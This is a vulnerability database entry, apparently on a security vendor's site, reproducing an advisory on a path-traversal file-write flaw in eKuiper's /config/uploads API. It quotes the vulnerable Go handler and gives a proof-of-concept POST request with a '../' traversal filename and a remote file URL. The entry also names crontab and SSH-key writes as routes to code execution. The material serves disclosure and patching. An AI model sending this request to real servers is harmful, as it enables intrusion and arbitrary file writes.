Vulnerability Database

383,304

Total vulnerabilities in the database

eKuiper /config/uploads API arbitrary file writing may lead to RCE — github.com/lf-edge/ekuiper/v2

Unrestricted Upload of File with Dangerous Type

Summary

eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

Details

func fileUploadHandler(w http.ResponseWriter, r *http.Request) { switch r.Method { // Upload or overwrite a file case http.MethodPost: switch r.Header.Get("Content-Type") { case "application/json": fc := &fileContent{} defer r.Body.Close() err := json.NewDecoder(r.Body).Decode(fc) if err != nil { handleError(w, err, "Invalid body: Error decoding file json", logger) return } err = fc.Validate() if err != nil { handleError(w, err, "Invalid body: missing necessary field", logger) return } filePath := filepath.Join(uploadDir, fc.Name) err = upload(fc)
  • The fc.Name parameter do not safely filtered.

PoC

POST /config/uploads HTTP/1.1 Host: localhost:9081 Content-Type: application/json Content-Length: 89 { "name": "../../../../tmp/success", "file": "http://192.168.65.254:8888/success" }

image

Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

  1. SSRF
  2. Path-Travel
  3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

  • Published: Jul 3, 2025
  • Updated: Jul 4, 2025
  • GHSA: GHSA-gj54-gwj9-x2c6
  • Severity: High
  • Exploit:
  • CISA KEV:

No technical information available.

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.